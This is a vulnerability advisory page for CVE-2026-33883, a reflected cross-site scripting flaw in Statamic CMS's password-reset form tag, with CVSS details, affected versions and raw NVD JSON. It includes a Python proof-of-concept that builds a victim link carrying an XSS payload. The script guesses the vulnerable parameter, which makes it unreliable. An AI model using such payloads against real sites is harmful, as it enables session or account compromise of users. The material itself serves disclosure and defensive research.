Security Vulnerability Report
中文
CVE-2026-33883 CVSS 6.1 MEDIUM

CVE-2026-33883

Published: 2026-03-27 21:17:25
Last Modified: 2026-04-08 14:23:31

Description

Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.16 and 6.7.2, the `user:reset_password_form` tag could render user-input directly into HTML without escaping, allowing an attacker to craft a URL that executes arbitrary JavaScript in the victim's browser. This has been fixed in 5.73.16 and 6.7.2.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:* - VULNERABLE
Statamic CMS < 5.73.16
Statamic CMS < 6.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33883 # This script demonstrates how to craft a malicious URL to trigger XSS. import urllib.parse def generate_malicious_link(base_url, payload): """ Generates a URL with the XSS payload injected. The vulnerable parameter is typically part of the query string used by the form. """ # URL encode the payload to ensure it's a valid URL character encoded_payload = urllib.parse.quote(payload) # Construct the full URL (Assuming the parameter name is 'user_input' based on typical form behavior) # The specific parameter name depends on the Statamic implementation details of the form tag. malicious_url = f"{base_url}?reset_token={encoded_payload}" return malicious_url if __name__ == "__main__": target = "https://example.com/user/reset-password" xss_payload = "<img src=x onerror=alert('CVE-2026-33883')>" exploit_link = generate_malicious_link(target, xss_payload) print(f"[+] Send this link to the victim:\n{exploit_link}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33883", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:25.027", "lastModified": "2026-04-08T14:23:30.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.16 and 6.7.2, the `user:reset_password_form` tag could render user-input directly into HTML without escaping, allowing an attacker to craft a URL that executes arbitrary JavaScript in the victim's browser. This has been fixed in 5.73.16 and 6.7.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.73.16", "matchCriteriaId": "EACDC143-742E-4926-9C28-6095690EB549"}, {"vulnerable": true, "criteria": "cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.7.2", "matchCriteriaId": "631FF065-0872-4DC7-AB25-AB74B782A9BE"}]}]}], "references": [{"url": "https://github.com/statamic/cms/security/advisories/GHSA-3jg4-p23x-p4qx", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}